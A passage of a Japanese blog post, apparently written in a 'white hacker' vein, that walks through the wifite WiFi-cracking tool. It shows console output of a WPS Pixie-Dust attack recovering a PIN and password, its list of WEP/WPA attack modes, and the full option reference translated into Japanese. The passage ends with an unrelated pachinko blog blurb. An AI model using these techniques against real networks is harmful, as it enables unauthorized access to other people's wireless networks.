[!] Interrupted [+] Next steps: 1: Deauth clients and retry replay attack against xxxxx-xxxxxx-gw 2: Start new fragment attack against xxxxx-xxxxxx-gw 3: Start new chopchop attack against xxxxx-xxxxxx-gw 4: Start new caffelatte attack against xxxxx-xxxxxx-gw 5: Start new p0841 attack against xxxxx-xxxxxx-gw 6: Start new hirte attack against xxxxx-xxxxxx-gw 7: Stop attacking, Move onto next target [?] Select an option (1-7):
アクセスが成功した時です。
[+] (1/1) Starting attacks against FF:FF:FF:FF:FF:FF (xxxxx-xxxxxx-gw) [+] xxxxx-xxxxxx-gw (42db) WPS Pixie-Dust: [4m56s] Cracked WPS PIN: 123456789 PSK: zzzzzzzz4e3b8 [+]        ESSID: xxxxx-xxxxxx-gw [+]        BSSID: FF:FF:FF:FF:FF:FF [+]   Encryption: WPA (WPS) [+]      WPS PIN: 123456789 [+] PSK/Password: zzzzzzzz4e3b8 [+] saved crack result to cracked.json (1 total) [+] Finished attacking 1 target(s), exiting
オプション(arguments)
show this help message and exit.
このヘルプメッセージを表示して終了します。
-v, –verbose
Shows more options (-h -v). Prints commands and outputs. (default: quiet)
その他のオプションを表示します(-h -v)。コマンドや出力を印刷します。(デフォルト: クワイエット)
-i [interface]
Wireless interface to use, e.g. wlan0mon. (default: ask)
使用するワイヤレスインターフェース(例:wlan0mon)。(デフォルト: ask)
-c [channel]
Wireless channel to scan e.g. 1,3-6. (default: all 2Ghz channels)
スキャンするワイヤレスチャンネル(例:1,3-6)。(デフォルト: すべての2Ghzチャンネル)
-inf, –infinite
Enable infinite attack mode. Modify scanning time with -p. (default: off)
無限アタックモードを有効にする。pでスキャン時間を変更します。(デフォルト:off)
-mac, –random-mac
Randomize wireless card MAC address. (default: off)
ワイヤレスカードのMACアドレスをランダム化します。(デフォルト:オフ)
-p [scan_time]
Pillage: Attack all targets after scan_time. (seconds)
ピレッジ。scan_timeの後にすべてのターゲットを攻撃する。(秒)
Kill processes that conflict with Airmon/Airodump. (default: off)
Airmon/Airodumpと競合するプロセスをキルします。(デフォルト:オフ)
-pow [min_power], –power [min_power]
Attacks any targets with at least min_power signal strength.
min_power以上の信号強度を持つターゲットを攻撃します。
–skip-crack
Skip cracking captured handshakes/pmkid. (default: off)
キャプチャーされたハンドシェイク/pmkidのクラッキングをスキップします。(デフォルト: off)
-first [attack_max], –first [attack_max]
Attacks the first attack_max targets.
最初のattack_maxターゲットを攻撃する。
–clients-only
Only show targets that have associated clients. (default: off)
関連するクライアントを持つターゲットのみを表示します。(デフォルト: オフ)
Passive mode: Never deauthenticates clients. (default: deauth targets)
パッシブモード。クライアントの認証を解除しません。(デフォルト: ターゲットを認証解除)
Puts device back in managed mode after quitting. (default: off)
終了後、デバイスをマネージドモードに戻します。(デフォルト:off)
Show only WEP-encrypted networks.
WEPで暗号化されたネットワークのみを表示します。
–require-fakeauth
Fails attacks if fake-auth fails. (default: off)
fake-authが失敗した場合、攻撃を失敗させます。(デフォルト: オフ)
Retain .IVS files and reuse when cracking. (default: off)
.IVSファイルを保持し、クラック時に再利用する。(デフォルト: オフ)
Show only WPA-encrypted networks. (includes WPS)
WPAで暗号化されたネットワークのみを表示します。(WPSを含む)
Captures new handshakes, ignores existing handshakes in hs. (default: off)
新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する。(デフォルト: オフ)
–dict [file]
File containing passwords for cracking. (default: /usr/share/dict/wordlist-probable.txt)
クラッキング用のパスワードを含むファイル。(デフォルト: /usr/share/dict/wordlist-probable.txt)
Show only WPS-enabled networks.
WPS対応のネットワークのみを表示します。
Only use WPS PIN & Pixie-Dust attacks. (default: off)
WPS PINとPixie-Dust攻撃のみを使用します。(デフォルト:オフ)
Use bully program for WPS PIN & Pixie-Dust attacks. (default: reaver)
WPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用します。(デフォルト: リーバー)
Use reaver program for WPS PIN & Pixie-Dust attacks. (default: reaver)
WPS PINおよびPixie-Dust攻撃にreaverプログラムを使用します。(デフォルト: reaver)
–ignore-locks
Do not stop WPS PIN attack if AP becomes locked. (default: stop)
APがロックされてもWPS PIN攻撃を停止しない。(デフォルト:停止)
Only use PMKID capture, avoids other WPS & WPA attacks. (default: off)
PMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避します。(デフォルト:オフ)
Don’t use PMKID capture. (default: off)
PMKIDキャプチャーを使用しません。(デフォルト: オフ)
–pmkid-timeout [sec]
Time to wait for PMKID capturev. (default: 120 seconds)
PMKID capturevを待つ時間。(デフォルト: 120秒)
Print previously-cracked access points.
今まで割れていたアクセスポイントを印刷する。
–check [file]
Check a .cap file (or all hs/*.cap files) for WPA handshakes.
.capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックします。
Show commands to crack a captured handshake.
キャプチャしたハンドシェイクをクラックするコマンドを表示します。
wifiteツールのまとめ
時間はかかりましたが、意外に簡単にクラックできました。
「Fern Wifi Cracker」は自分で辞書を作成したのでクラックできましたが、「wifite」は半自動でクラックできました。
攻撃方法も6個あります。
aireplay attack
fragment attack
chopchop attack
caffelatte attack
p0841 attack
hirte attack
ヒットしなかったらCtrl+Cで停止させて攻撃方法を変更できるのも良いですね。
ホワイトハッカーの知識WEP,WPA,無線LAN
Posted by whitemarkn
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どうも~!このブログの管理人のフロンと申します!
パチンコ・パチスロが好きで子供の頃から触ってたぐらいです!ですので私のブログを通じてパチンコやパチスロの面白さや知識や技術などを情報発信して、知っていただいで好きになってもらいたいなと思ってます!